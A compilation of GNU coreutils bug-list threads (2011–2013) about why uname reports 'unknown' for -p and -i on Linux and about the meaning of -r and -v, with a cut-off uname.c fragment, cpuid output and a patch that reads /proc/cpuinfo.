#endif
#if HAVE_SYS_SYSCTL_H
# if HAVE_SYS_PARAM_H
# include sys/param.h /* needed for OpenBSD 3.0 */
# endif
# include sys/sysctl.h
# ifdef HW_MODEL
# ifdef HW_MACHINE_ARCH
/* E.g., FreeBSD 4.5, NetBSD 1.5.2 */
# define UNAME_HARDWARE_PLATFORM HW_MODEL
# define UNAME_PROCESSOR HW_MACHINE_ARCH
# else
/* E.g., OpenBSD 3.0 */
# define UNAME_PROCESSOR HW_MODEL
# endif
# endif
#endif
#ifdef __APPLE__
# include mach/machine.h
# include mach-o/arch.h
#endif
#if defined(__linux__)
# define USE_PROCINFO
# define UNAME_HARDWARE_PLATFORM
#endif
#include system.h
#include error.h
#include quote.h
#include uname.h
/* The official name of this program (e.g., no 'g' prefix). */
#define PROGRAM_NAME (uname_mode == UNAME_UNAME ? uname : arch)
#define AUTHORS proper_name (David MacKenzie)
#define ARCH_AUTHORS David MacKenzie, Karel Zak
/* Values that are bitwise or'd into 'toprint'. */
/* Kernel name. */
#define PRINT_KERNEL_NAME 1
/* Node name on a communications network. */
#define PRINT_NODENAME 2
/* Kernel release. */
#define PRINT_KERNEL_RELEASE 4
/* Kernel version. */
#define PRINT_KERNEL_VERSION 8
/* Machine hardware name. */
#define PRINT_MACHINE 16
/* Processor type. */
#define PRINT_PROCESSOR 32
/* Hardware platform. */
#define PRINT_HARDWARE_PLATFORM 64
/* Operating system. */
#define PRINT_OPERATING_SYSTEM 128
static struct option const uname_long_options[] =
{
{all, no_argument, NULL, 'a'},
{kernel-name, no_argument, NULL, 's'},
{sysname, no_argument, NULL, 's'}, /* Obsolescent. */
{nodename, no_argument, NULL, 'n'},
{kernel-release, no_argument, NULL, 'r'},
{release, no_argument, NULL, 'r'}, /* Obsolescent. */
{kernel-version, no_argument, NULL, 'v'},
{machine, no_argument, NULL, 'm'},
{processor, no_argument, NULL, 'p'},
{hardware-platform, no_argument, NULL, 'i'},
{operating-system, no_argument, NULL, 'o'},
{GETOPT_HELP_OPTION_DECL},
{GETOPT_VERSION_OPTION_DECL},
{NULL, 0, NULL, 0}
};
static struct option const arch_long_options[] =
{
{GETOPT_HELP_OPTION_DECL},
{GETOPT_VERSION_OPTION_DECL},
{NULL, 0, NULL, 0}
};
void
usage (int status)
{
if (status != EXIT_SUCCESS)
emit_try_help ();
else
{
printf (_(Usage: %s [OPTION]...\n), program_name);
if (uname_mode == UNAME_UNAME)
{
fputs (_(\
Print certain system information. With no OPTION, same as -s.\n\
\n\
-a, --allprint all information, in the following order,\n\
except omit -p and -i if unknown:\n\
-s, --kernel-nameprint the kernel name\n\
-n, --nodename print the network node hostname\n\
-r, --kernel-release print the kernel release\n\
), stdout);
fputs (_(\
-v, --kernel-version print the kernel version\n\
-m, --machineprint the machine hardware name\n\
-p, --processor print the processor type or \unknown\\n\
-i, --hardware-platform print the hardware platform or \unknown\\n\
-o, --operating-system print the operating system\n\
), stdout);
}
else
{
fputs (_(\
Print machine architecture.\n\
\n\
), stdout);
}
fputs (HELP_OPTION_DESCRIPTION, stdout);
fputs (VERSION_OPTION_DESCRIPTION, stdout);
emit_ancillary_info ();
}
exit (status);
}
#if defined(USE_PROCINFO)
# if defined(__s390__) || defined(__s390x__)
# define CPUINFO_FILE/proc/sysinfo
# define CPUINFO_FORMAT %64[^\t :]%*[ :]%256[^\n]%c
# else
# define CPUINFO_FILE/proc/cpuinfo
# define CPUINFO_FORMAT %64[^\t:]\t:%256[^\n]%c
# endif
# define PROCINFO_PROCESSOR 0
# define PROCINFO_HARDWARE_PLATFORM 1
static void __eat_cpuinfo_space(char
bug#15757: new uname.c for uname -p fix related
On 10/31/2013 02:16 PM, Jeffrin Jose wrote: hello, i have patched debian source from sid for file uname.c for debian coreutils. it does not show unknown for uname -p. hope it is fixed. i have applied a patch from gentoo for this. i have attached the resulting uname.c Thanks for the attempt. However, sending an entire file is not the proper way to submit a patch. For anyone to see what you have changed, we would have to jump through hoops to manually diff the file ourselves. Please read http://git.savannah.gnu.org/cgit/coreutils.git/tree/HACKING for instructions on how to submit a proper diff limited to just the changes you are making plus the context needed to unambiguously apply those changes. Furthermore, if you are copying the patch from somewhere else, you should clearly state the original author of the patch rather than claiming ownership of it yourself (but at least the terms of the GPL mean that you are not violating any laws by reposting someone else's public patch, because their copyright license granted you that right). -- Eric Blake eblake redhat com+1-919-301-3266 Libvirt virtualization library http://libvirt.org signature.asc Description: OpenPGP digital signature
bug#15757: unknown for uname -p related
hello , cut-x-here- $uname -p unknown $uname -m x86_64 $uname -a Linux debian 3.11-1-amd64 #1 SMP Debian 3.11.5-1 (2013-10-17) x86_64 GNU/Linux $ -cut-x-here-- i will attach the output of cpuid command. http://www.ka9q.net/code/cpuid/ I think it is not a bug to show unknown for -p my processor is AMD A-Series is possible to make unknown to the correct processor type. Thanks. /Jeffrin. CPU 0: vendor_id = AuthenticAMD version information (1/eax): processor type = primary processor (0) family = Intel Pentium 4/Pentium D/Pentium Extreme Edition/Celeron/Xeon/Xeon MP/Itanium2, AMD Athlon 64/Athlon XP-M/Opteron/Sempron/Turion (15) model = 0x3 (3) stepping id = 0x1 (1) extended family = 0x6 (6) extended model = 0x1 (1) (simple synth) = AMD A-Series / AMD R-Series / Athlon Dual-Core / Athlon Quad-Core / Sempron Dual-Core / FirePro (Richland RL-A1), 32nm miscellaneous (1/ebx): process local APIC physical ID = 0x0 (0) cpu count = 0x2 (2) CLFLUSH line size = 0x8 (8) brand index= 0x0 (0) brand id = 0x00 (0): unknown feature information (1/edx): x87 FPU on chip= true virtual-8086 mode enhancement = true debugging extensions = true page size extensions = true time stamp counter = true RDMSR and WRMSR support= true physical address extensions= true machine check exception= true CMPXCHG8B inst.= true APIC on chip = true SYSENTER and SYSEXIT = true memory type range registers= true PTE global bit = true machine check architecture = true conditional move/compare instruction = true page attribute table = true page size extension= true processor serial number= false CLFLUSH instruction= true debug store= false thermal monitor and clock ctrl = false MMX Technology = true FXSAVE/FXRSTOR = true SSE extensions = true SSE2 extensions= true self snoop = false hyper-threading / multi-core supported = true therm. monitor = false IA64 = false pending break event= false feature information (1/ecx): PNI/SSE3: Prescott New Instructions = true PCLMULDQ instruction= true 64-bit debug store = false MONITOR/MWAIT = true CPL-qualified debug store = false VMX: virtual machine extensions = false SMX: safer mode extensions = false Enhanced Intel SpeedStep Technology = false thermal monitor 2 = false SSSE3 extensions= true context ID: adaptive or shared L1 data = false FMA instruction = true CMPXCHG16B instruction = true xTPR disable= false perfmon and debug = false process context identifiers = false direct cache access = false SSE4.1 extensions = true SSE4.2 extensions = true extended xAPIC support = false MOVBE instruction = false POPCNT instruction = true time stamp counter deadline = false AES instruction = true XSAVE/XSTOR states = true OS-enabled XSAVE/XSTOR = true AVX: advanced vector extensions = true F16C half-precision convert instruction = true RDRAND instruction = false hypervisor guest status = false cache and TLB information (2): processor serial number: 0061-0F31---- MONITOR/MWAIT (5): smallest monitor-line size (bytes) = 0x40 (64) largest monitor-line size (bytes)= 0x40 (64) enum of Monitor-MWAIT exts supported = true supports intrs as break-event for MWAIT = true number of C0 sub C-states using MWAIT= 0x0 (0) number of C1 sub C-states using MWAIT= 0x0 (0) number of C2 sub C-states using MWAIT= 0x0 (0) number of C3/C6 sub C
bug#15757: unknown for uname -p related
forcemerge 15757 13001 thanks On 10/30/2013 06:21 PM, Jeffrin Jose wrote: hello , cut-x-here- $uname -p unknown $uname -m x86_64 $uname -a Linux debian 3.11-1-amd64 #1 SMP Debian 3.11.5-1 (2013-10-17) x86_64 GNU/Linux $ -cut-x-here-- i will attach the output of cpuid command. http://www.ka9q.net/code/cpuid/ I think it is not a bug to show unknown for -p my processor is AMD A-Series is possible to make unknown to the correct processor type. Thanks. /Jeffrin. Thanks for the report. This one has already been discussed: http://bugs.gnu.org/13001 There are several patches maintained in various distributions for retrieving the processor type from /proc/cpuinfo (but not for Debian obviously), e.g. Fedora: http://pkgs.fedoraproject.org/cgit/coreutils.git/tree/coreutils-8.2-uname-processortype.patch Gentoo: http://sources.gentoo.org/cgi-bin/viewvc.cgi/gentoo/src/patchsets/coreutils/8.21/003_all_coreutils-gentoo-uname.patch?revision=1.1 openSUSE: https://build.opensuse.org/package/view_file/Base:System/coreutils/coreutils-sysinfo.patch?expand=1 Unfortunately we didn't come to a conclusion yet on how to maintain this in upstream coreutils. Have a nice day, Berny
bug#14388: Bug in uname command - reg...
Bob Proulx wrote: $ uname -r 3.2.0-4-amd64 $ uname -v #1 SMP Debian 3.2.35-2 --- I get something similiar the above, but that isn't the way the kernel terminology -- despite the fact that use uname-r to search for the kernel-version of modules to use. but 3=VERSION 2=PATCHLEVEL 0=SUBLEVEL -4- = EXTRAVERSION -amd64=LOCALVERSION From that -- it looks quite a bit like it describing version information. On mine, I have uname -r=3.9.0-Isht-Van With Isht-Van being my localversion name The uname-v has: #6 SMP PREEMPT Wed May 8 17:28:40 PDT 2013 Compile#, options date not sure why debians is different --- 3.2.35-2? That's odd looking. It looks like they are a bit backwards -- but I think I would agree with Bob's assessment that it can't be something that is fixed since there are tons of programs (including programs IN THE KERNEL (to load modules)) that use the 'release' to get the linux-version info... *doh!* Really the only portable way to use uname(1) is to call it first to see which system name it returns and then after knowing the system type then call it again with whatever options make sense on that system. --- Which is a bit like saying you need an interpreter that's system specific to pick out what is relevant. That's special! ;-
bug#14388: Bug in uname command - reg...
Linda Walsh wrote: Bob Proulx wrote: $ uname -r 3.2.0-4-amd64 $ uname -v #1 SMP Debian 3.2.35-2 From that -- it looks quite a bit like it describing version information. On mine, I have uname -r=3.9.0-Isht-Van With Isht-Van being my localversion name The uname-v has: #6 SMP PREEMPT Wed May 8 17:28:40 PDT 2013 Compile#, options date not sure why debians is different --- 3.2.35-2? That's odd looking. IBM AIX 3.5 returns information like this: $ uname -a AIX localhost 3 5 00CD7EAF4C00 $ uname -r 3 $ uname -v 5 HP-UX 11.31 will say something like this: $ uname -a HP-UX localhost B.11.31 U ia64 3682977672 unlimited-user license $ uname -r B.11.31 $ uname -v U Solaris 5.9: $ uname -a SunOS localhost 5.9 Generic_112233-12 sun4u sparc SUNW,Sun-Fire-15000 $ uname -r 5.9 $ uname -v Generic_112233-12 I don't have access to a variety of machines these days so the above is cutting and pasting from reports sent in that I found on the web. I may have something slightly wrong in the above. But it should still be illustrative that every system interprets what to do with the fields differently. It looks like they are a bit backwards -- but I think I would agree with Bob's assessment that it can't be something that is fixed since there are tons of programs (including programs IN THE KERNEL (to load modules)) that use the 'release' to get the linux-version info... *doh!* Yes. D'oh! Which is why it isn't as useful as people think it might be. Really the only portable way to use uname(1) is to call it first to see which system name it returns and then after knowing the system type then call it again with whatever options make sense on that system. Which is a bit like saying you need an interpreter that's system specific to pick out what is relevant. That's special! ;- Yes. That is exactly what I am saying! :-) Here is some live code from a script designed to run in a an environment with all of the above. This isn't general purpose and was written to work exactly for the cases I needed it to work. For example for AIX I would have needed to have it combine -r and -v together to get to 3.5 but for me knowing aix was good enough so I stopped there. I am just posting this to give an exapmle of the type of system specific tests that are needed. I am sure that if this script were live working today that it would have variations for current systems. Bob os=unknown mach=unknown uname=$(uname) if [ $? -ne 0 ] || [ -z $uname ]; then echo Error: Could not run 'uname' 12 exit 1 fi case $uname in AIX) os=aix mach=rs6000 ;; HP-UX) case $(uname -m) in 9000/*) case $(uname -r) in ?.10.*) mach=hppa1.1 ;; *) mach=hppa2.0 ;; esac ;; *) mach=$(uname -m) ;; esac case $(uname -r) in ?.10.*) os=hpux10 ;; *) os=hpux$(uname -r | sed 's/^[AB]\.//') ;; esac ;; Linux) os=gnulinux mach=$(uname -m) ;; esac
bug#14388: Bug in uname command - reg...
Hi Team, In uname command In feel that there is a bug with -r and -v options which I describe as follows, uname -r - it should show the release of kernel uname -v - it should show the version of kernel as per your manual page, but it is showing vice-versa of each. Thanks Regards, - Vevek V
bug#14388: Bug in uname command - reg...
tag 14388 + moreinfo notabug thanks vevek venkatesan wrote: In uname command In feel that there is a bug with -r and -v options which I describe as follows, uname -r - it should show the release of kernel uname -v - it should show the version of kernel as per your manual page, but it is showing vice-versa of each. Thank you for the report. However the uname(1) command simply calls the uname(2) system call. It then reports what the kernel has stored there. It is a very old command having been around a very long time. I don't think there is a bug there. But you did not report the information that you are seeing. If you would be so kind as to report what you are seeing then perhaps we would be able to know what is happening for you. Since you didn't tell us what you are seeing there isn't any way for us to know one way or the other. When reporting bugs it is necessary to show us what it is doing for you. In any case, here is a sample from my system. This is the correct output for my system. Note that on other systems the values stored by the kernel can be quite a bit different. Especially on HP-UX and on IBM AIX the output may be quite different! $ uname -r 3.2.0-4-amd64 $ uname -v #1 SMP Debian 3.2.35-2 Really the only portable way to use uname(1) is to call it first to see which system name it returns and then after knowing the system type then call it again with whatever options make sense on that system. Bob
bug#13562: Uname help output
Hi There, Just tried Fedora 18, was looking to get the kernel version. When i invoke uname with --help option, it doesn't print -r which can be used to print the kernel version. Here is the output for --help uname --help Usage: uname [OPTION]... Print certain system information. With no OPTION, same as -s. -a, --allprint all information, in the following order, except omit -p and -i if unknown: -s, --kernel-nameprint the kernel name -n, --nodename print the network node hostname -r, --kernel-release print the kernel release -v, --kernel-version print the kernel version -m, --machineprint the machine hardware name -p, --processor print the processor type or unknown -i, --hardware-platform print the hardware platform or unknown -o, --operating-system print the operating system --help display this help and exit --version output version information and exit Report uname bugs to bug-coreutils@gnu.org GNU coreutils home page: http://www.gnu.org/software/coreutils/ General help using GNU software: http://www.gnu.org/gethelp/ For complete documentation, run: info coreutils 'uname invocation' Prashanth
bug#13562: Uname help output
On 01/26/2013 11:18 AM, Prashanth Devarajappa wrote: it doesn't print -r ... Here is the output for --help ... -r, --kernel-release print the kernel release Looks like -r is in there and you just missed it so I'm marking this as done.
bug#13001: Reporting potential bug | uname -p and uname -i return unknown on Debian
Hello, I use the output of 'uname -p' in my product. It seems to work fine on very other Linux distro that I have worked on (ex. RHEL, SUSE Linux Enterprise Server and even Ubuntu 12.04), except Debian where it returns 'unknown'. The following this the relevant information of my machine and setup. root@IWFVM00285:~# cat /etc/debian_version 6.0.5 root@IWFVM00285:~# uname -a Linux IWFVM00285 2.6.32-5-amd64 #1 SMP Sun May 6 04:00:17 UTC 2012 x86_64 GNU/Linux root@IWFVM00285:~# uname -m x86_64 root@IWFVM00285:~# uname -p unknown root@IWFVM00285:~# uname -i unknown I found relevant bugs raised earlier (for example, http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=193170) but it seems either it was fixed earlier and has resurfaced or it was marked as won't fix. Please advise. If this issue is already noted, could you please let me know the current status? Thank you. Ashish +91.973.970.9990
bug#13001: Reporting potential bug | uname -p and uname -i return unknown on Debian
On Mon, Nov 26, 2012 at 3:48 AM, Ashish, Agrawal wrote: I use the output of 'uname -p' in my product. It seems to work fine on very other Linux distro that I have worked on (ex. RHEL, SUSE Linux Enterprise Server and even Ubuntu 12.04), except Debian where it returns 'unknown'. The following this the relevant information of my machine and setup. this is because many distros patch coreutils' uname to return something useful on Linux. the GNU version relies on the standard interfaces to do that (which they don't). you can find the patch i've been keeping up-to-date in Gentoo: http://sources.gentoo.org/gentoo/src/patchsets/coreutils/8.20/003_all_coreutils-gentoo-uname.patch root@IWFVM00285:~# cat /etc/debian_version 6.0.5 root@IWFVM00285:~# uname -a Linux IWFVM00285 2.6.32-5-amd64 #1 SMP Sun May 6 04:00:17 UTC 2012 x86_64 GNU/Linux root@IWFVM00285:~# uname -m x86_64 root@IWFVM00285:~# uname -p unknown root@IWFVM00285:~# uname -i unknown after applying the aforementioned patched, you'd get something like: $ uname -a Linux vapier 3.6.5 #5 SMP PREEMPT Wed Nov 14 01:08:40 EST 2012 x86_64 AMD Phenom(tm) II X4 980 Processor AuthenticAMD GNU/Linux $ uname -m x86_64 $ uname -p AMD Phenom(tm) II X4 980 Processor $ uname -i AuthenticAMD I found relevant bugs raised earlier (for example, http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=193170) but it seems either it was fixed earlier and has resurfaced or it was marked as won't fix. note: you've e-mailed the upstream GNU coreutils project, not the Debian project. if you want this functionality in Debian, you'll need to file a bug with them. -mike
bug#13001: Reporting potential bug | uname -p and uname -i return unknown on Debian
Mike Frysinger wrote: this is because many distros patch coreutils' uname to return something useful on Linux. the GNU version relies on the standard interfaces to do that (which they don't). you can find the patch i've been keeping up-to-date in Gentoo: http://sources.gentoo.org/gentoo/src/patchsets/coreutils/8.20/003_all_coreutils-gentoo-uname.patch For reference, here's the downstream patch of openSuSE: https://build.opensuse.org/package/view_file?expand=1file=coreutils-sysinfo.patchpackage=coreutilsproject=openSUSErev=f0bf5d8bafd85e9efef6ccb334c83a53 It's not as sophisticated as the patch in Gentoo and mostly uses a fallback to the value of 'uname -m': $ uname -mpi x86_64 x86_64 x86_64 Have a nice day, Berny
bug#13001: Reporting potential bug | uname -p and uname -i return unknown on Debian
On Mon, Nov 26, 2012 at 1:11 PM, Mike Frysinger wrote: the GNU version relies on the standard interfaces to do that (which they don't). to be clearer, the interfaces coreutils relies on don't exist on Linux, so it always issues unknown you can find the patch i've been keeping up-to-date in Gentoo: http://sources.gentoo.org/gentoo/src/patchsets/coreutils/8.20/003_all_coreutils-gentoo-uname.patch in the past, i assumed this wasn't going anyways because coreutils did not include any target-specific logic. but i see it has since grown __APPLE__ support, so maybe i can make a case for adding __linux__. Paul: you were against this in the past [1], but in light of 594d5064c950fa1d99a9eafbd357c5f46320d002, can we reconsider ? i don't mind helping out with this particular can considering i'm going to be doing it anyways ... not to mention every distro is running into the same issue and patching it in their own unique/incomplete way. -mike [1] http://lists.gnu.org/archive/html/bug-coreutils/2005-09/msg00063.html
bug#13001: [PATCH] uname: add -i/-p decoding to Linux platforms
To add support for additional platforms, check out the show_cpuinfo()
func in the linux/arch/ARCH/ source tree of the kernel.
* src/uname.c: Include trim.h.
(linux_procinfo): New function.
(main): Call linux_procinfo when __linux__ is defined and
PRINT_PROCESSOR or PRINT_HARDWARE_PLATFORM is requested.
---
src/uname.c | 113
1 file changed, 113 insertions(+)
diff --git a/src/uname.c b/src/uname.c
index 0eb123b..18f6290 100644
--- a/src/uname.c
+++ b/src/uname.c
@@ -52,6 +52,7 @@
#include system.h
#include error.h
#include quote.h
+#include trim.h
#include uname.h
/* The official name of this program (e.g., no 'g' prefix). */
@@ -153,6 +154,100 @@ Print machine architecture.\n\
exit (status);
}
+#ifdef __linux__
+
+# if defined(__s390__) || defined(__s390x__)
+# define CPUINFO_FILE/proc/sysinfo
+# define CPUINFO_FORMAT %64[^\t :]%*[ :]%256[^\n]%c
+# else
+# define CPUINFO_FILE/proc/cpuinfo
+# define CPUINFO_FORMAT %64[^\t:]\t:%256[^\n]%c
+# endif
+
+# define PROCINFO_PROCESSOR 0
+# define PROCINFO_HARDWARE_PLATFORM 1
+
+static int linux_procinfo(int x, char *fstr, size_t s)
+{
+ static const char * const procinfo_keys[] = {
+/* --processor --hardware-platform */
+# if defined(__alpha__)
+cpu model, system type
+# elif defined(__arm__)
+Processor, Hardware
+# elif defined(__avr32__)
+processor, cpu family
+# elif defined(__bfin__)
+model name, vendor_id,
+# elif defined(__c6x__)
+cpu, soc,
+# elif defined(__cris__)
+cpu, cpu model
+# elif defined(__frv__)
+CPU-Core, System
+# elif defined(__i386__) || defined(__x86_64__)
+model name, vendor_id
+# elif defined(__ia64__)
+model name, vendor
+# elif defined(__hppa__)
+cpu, model
+# elif defined(__m68k__)
+CPU, MMU
+# elif defined(__mips__)
+cpu model, system type
+# elif defined(__powerpc__) || defined(__powerpc64__)
+cpu, machine
+# elif defined(__s390__) || defined(__s390x__)
+Type, Manufacturer
+# elif defined(__sh__)
+cpu type, machine
+# elif defined(sparc) || defined(__sparc__)
+type, cpu
+# elif defined(__vax__)
+cpu type, cpu
+# else
+unknown, unknown
+# endif
+ };
+ FILE *fp;
+ char key[65], value[257], eol, *ret;
+
+ fp = fopen(CPUINFO_FILE, r);
+ if (fp == NULL)
+return -1;
+
+ ret = NULL;
+ while (fscanf(fp, CPUINFO_FORMAT, key, value, eol) != EOF)
+{
+ if (!strcmp(trim(key), procinfo_keys[x]))
+{
+ ret = trim(value);
+ break;
+}
+
+ if (eol != '\n')
+{
+ /* We need two fscanf's here in case the previous length limit
+ caused us to read right up to the newline. Doing something
+ like %*[^\n]\n won't eat the newline. */
+ if (fscanf(fp, %*[^\n])) {}
+ if (fscanf(fp, \n)) {}
+}
+}
+
+ fclose(fp);
+
+ if (ret)
+{
+ strncpy(fstr, ret, s);
+ return 0;
+}
+
+ return -1;
+}
+
+#endif
+
/* Print ELEMENT, preceded by a space if something has already been
printed. */
@@ -307,6 +402,15 @@ main (int argc, char **argv)
element = processor;
}
#endif
+#ifdef __linux__
+ if (element == unknown)
+{
+ static char processor[257];
+ if (0 = linux_procinfo (PROCINFO_PROCESSOR, processor,
+ sizeof processor))
+element = processor;
+}
+#endif
#ifdef UNAME_PROCESSOR
if (element == unknown)
{
@@ -352,6 +456,15 @@ main (int argc, char **argv)
element = hardware_platform;
}
#endif
+#ifdef __linux__
+ if (element == unknown)
+{
+ static char hardware_platform[257];
+ if (0 = linux_procinfo (PROCINFO_HARDWARE_PLATFORM,
+ hardware_platform, sizeof
hardware_platform))
+element = hardware_platform;
+}
+#endif
#ifdef UNAME_HARDWARE_PLATFORM
if (element == unknown)
{
--
1.7.12.4
bug#13001: Reporting potential bug | uname -p and uname -i return unknown on Debian
On 11/26/2012 06:51 PM, Mike Frysinger wrote: On Mon, Nov 26, 2012 at 1:11 PM, Mike Frysinger wrote: the GNU version relies on the standard interfaces to do that (which they don't). to be clearer, the interfaces coreutils relies on don't exist on Linux, so it always issues unknown you can find the patch i've been keeping up-to-date in Gentoo: http://sources.gentoo.org/gentoo/src/patchsets/coreutils/8.20/003_all_coreutils-gentoo-uname.patch in the past, i assumed this wasn't going anyways because coreutils did not include any target-specific logic. but i see it has since grown __APPLE__ support, so maybe i can make a case for adding __linux__. Paul: you were against this in the past [1], but in light of 594d5064c950fa1d99a9eafbd357c5f46320d002, can we reconsider ? i don't mind helping out with this particular can considering i'm going to be doing it anyways ... not to mention every distro is running into the same issue and patching it in their own unique/incomplete way. -mike [1] http://lists.gnu.org/archive/html/bug-coreutils/2005-09/msg00063.html We should either deprecate the options, or try to standardise them a bit. From POSIX we have -m Write the name of the hardware type on which the system is running to standard output. From BSD we have: -m print the machine hardware name. -p print the machine processor architecture name. $ uname -mp amd64 x86_64 From Fedora 15 we have: -m print the machine hardware name. -p print the processor type or unknown -i print the hardware platform or unknown $ uname -mpi x86_64 x86_64 x86_64 From Solaris we have: -m Prints the machine hardware name (class). Use of this option is discouraged. Use -p instead. -p Prints the current host's ISA or processor type. -i Prints the name of the platform. uname -mpi sun4v sparc SUNW,SPARC-Enterprise-T5220 From Debian we have: $ uname -mpi x86_64 unknown unknown From Gentoo we have: $ uname -m x86_64 $ uname -p Intel(R) Core(TM) i3-2310M CPU @ 2.10GHz $ uname -i GenuineIntel So it's awkward to come up with something coherent between them all. I'd be inclined to have -p print the arch, i.e. x86_64, and leave -i to print out the free form info from /proc cpu info. cheers, Pádraig.
bug#13001: Reporting potential bug | uname -p and uname -i return unknown on Debian
On Mon, Nov 26, 2012 at 3:26 PM, Pádraig Brady wrote: On 11/26/2012 06:51 PM, Mike Frysinger wrote: On Mon, Nov 26, 2012 at 1:11 PM, Mike Frysinger wrote: the GNU version relies on the standard interfaces to do that (which they don't). to be clearer, the interfaces coreutils relies on don't exist on Linux, so it always issues unknown you can find the patch i've been keeping up-to-date in Gentoo: http://sources.gentoo.org/gentoo/src/patchsets/coreutils/8.20/003_all_coreutils-gentoo-uname.patch in the past, i assumed this wasn't going anyways because coreutils did not include any target-specific logic. but i see it has since grown __APPLE__ support, so maybe i can make a case for adding __linux__. Paul: you were against this in the past [1], but in light of 594d5064c950fa1d99a9eafbd357c5f46320d002, can we reconsider ? i don't mind helping out with this particular can considering i'm going to be doing it anyways ... not to mention every distro is running into the same issue and patching it in their own unique/incomplete way. -mike [1] http://lists.gnu.org/archive/html/bug-coreutils/2005-09/msg00063.html We should either deprecate the options, or try to standardise them a bit. From POSIX we have -m Write the name of the hardware type on which the system is running to standard output. From BSD we have: -m print the machine hardware name. -p print the machine processor architecture name. $ uname -mp amd64 x86_64 From Fedora 15 we have: -m print the machine hardware name. -p print the processor type or unknown -i print the hardware platform or unknown $ uname -mpi x86_64 x86_64 x86_64 the current Fedora patch merely shows the output of uname()'s machine field. so it's the same as `uname -m`. it does have a minor hack so that if the machine is i[3-6]86, it normalizes it to i386 for the -i option. From Solaris we have: -m Prints the machine hardware name (class). Use of this option is discouraged. Use -p instead. -p Prints the current host's ISA or processor type. -i Prints the name of the platform. uname -mpi sun4v sparc SUNW,SPARC-Enterprise-T5220 Gentoo is very similar: $ uname -mpi sparc64 sun4v UltraSparc T1 (Niagara) From Debian we have: $ uname -mpi x86_64 unknown unknown right, Debian is the same as GNU since it doesn't apply any custom patches From Gentoo we have: $ uname -m x86_64 $ uname -p Intel(R) Core(TM) i3-2310M CPU @ 2.10GHz $ uname -i GenuineIntel looks good to me ;) So it's awkward to come up with something coherent between them all. I'd be inclined to have -p print the arch, i.e. x86_64, and leave -i to print out the free form info from /proc cpu info. the -m flag already prints out the arch, so it seems pointless to have -p do the same. the former flag is used everywhere for platform detection while the latter is used for informational purposes in autoconf packages. -mike
bug#13001: Reporting potential bug | uname -p and uname -i return unknown on Debian
Pádraig Brady wrote: We should either deprecate the options, or try to standardise them a bit. I would deprecate them. By working at all they suck people into using them when they should be avoided. From POSIX we have ... In HP-UX we have: $ uname -m 9000/800 $ uname -i 1545710558 $ uname -p uname: illegal option -- p usage: uname [-amnrsvil] [-S nodename] Bob
bug#13001: Reporting potential bug | uname -p and uname -i return unknown on Debian
On 11/26/2012 10:51 AM, Mike Frysinger wrote: Paul: you were against this in the past [1], but in light of 594d5064c950fa1d99a9eafbd357c5f46320d002, can we reconsider ? I'm not sure what that hexadecimal number refers to, but my objection originally was to the hassle of maintaining something, but if the GNU/Linux folks have an agreed-upon way of generating -p and -i from /proc/cpuinfo then I suppose we could fold it in.
bug#13001: Reporting potential bug | uname -p and uname -i return unknown on Debian
On Mon, Nov 26, 2012 at 9:22 PM, Paul Eggert wrote: On 11/26/2012 10:51 AM, Mike Frysinger wrote: Paul: you were against this in the past [1], but in light of 594d5064c950fa1d99a9eafbd357c5f46320d002, can we reconsider ? I'm not sure what that hexadecimal number refers to it's the SHA1 of the commit in the coreutils.git that adds __APPLE__ specific logic -mike
bug#11184: [lfs-dev] uname -i, -p show 'unknown' after update to coreutils-8.16
That's because we (LFS) dropped the uname patch from our build instructions because upstream won't take it in its current form. If my understanding is correct, the correct way of implementing this feature is by a combination of changes in the kernel Glibc. I don't have the skill necessary to do that, and by virtue of the fact that these uname patches have been floating around for so many years, nobody with the skill has the inclination to fix this. Is this causing you any issues other than purely cosmetic ones? Regards, Matt.
bug#7991: bug in uname (?)
[re-adding the list] On 02/05/2011 06:23 PM, Noel Kuntze wrote: Look at 'man 2 uname'. On Linux, the uname.release version contains a numeric string. The uname.version field is not documented as to it's contents, but POSIX merely requires that release and version together identify the operating system kernel. As confusing as it may be, this behavior is a kernel choice, and coreutils uname(1) has no control over it. Coreutils is accurately reporting what the kernel told it. Hi, OK, i understood that. However although i run several different Linuxes i didn't use uname on any other than Debian. To fix this bug, one should really talk to the developers of the different distributions. The different Linux distros all use the same uname(2) behavior of the kernel. You only need patch the kernel to swap those two fields, but given historical compatibility, you have a very hard battle in front of you for getting such a patch to be approved. You're better off learning to live with the fields as currently defined by the kernel, in spite of what you feel is an apparent naming confusion. This bug (i'll call it bug in the future, because weird behaviour of the Kernel is just too long) nearly got me a worse mark (we wrote a test about Debian Linux and the last task was to write down the kernel version). Again, it's not a bug in coreutils, but a feature of your kernel's uname(2) implementation. -- Eric Blake ebl...@redhat.com+1-801-349-2682 Libvirt virtualization library http://libvirt.org signature.asc Description: OpenPGP digital signature
bug#7991: bug in uname (?)
Hi, It seems to me that the options for uname, more precise, -v and -r have been interchanged. Extract from the shell: thermi@debian:~$ uname -v #1 SMP Thu Jan 27 00:28:05 UTC 2011 thermi@debian:~$ uname -r 2.6.26-2-686 sincerely yours, Noel Kuntze Virus checked by G Data AntiVirus Version: AVA 21.4667 dated 05.02.2011 Virus news: www.antiviruslab.com
bug#7991: bug in uname (?)
On 02/05/2011 01:31 PM, Noel Kuntze wrote: Hi, It seems to me that the options for uname, more precise, -v and -r have been interchanged. Thanks for the report. However, this is not a bug. Extract from the shell: thermi@debian:~$ uname -v #1 SMP Thu Jan 27 00:28:05 UTC 2011 thermi@debian:~$ uname -r 2.6.26-2-686 Look at 'man 2 uname'. On Linux, the uname.release version contains a numeric string. The uname.version field is not documented as to it's contents, but POSIX merely requires that release and version together identify the operating system kernel. As confusing as it may be, this behavior is a kernel choice, and coreutils uname(1) has no control over it. Coreutils is accurately reporting what the kernel told it. -- Eric Blake ebl...@redhat.com+1-801-349-2682 Libvirt virtualization library http://libvirt.org signature.asc Description: OpenPGP digital signature
bug#7991: bug in uname (?)
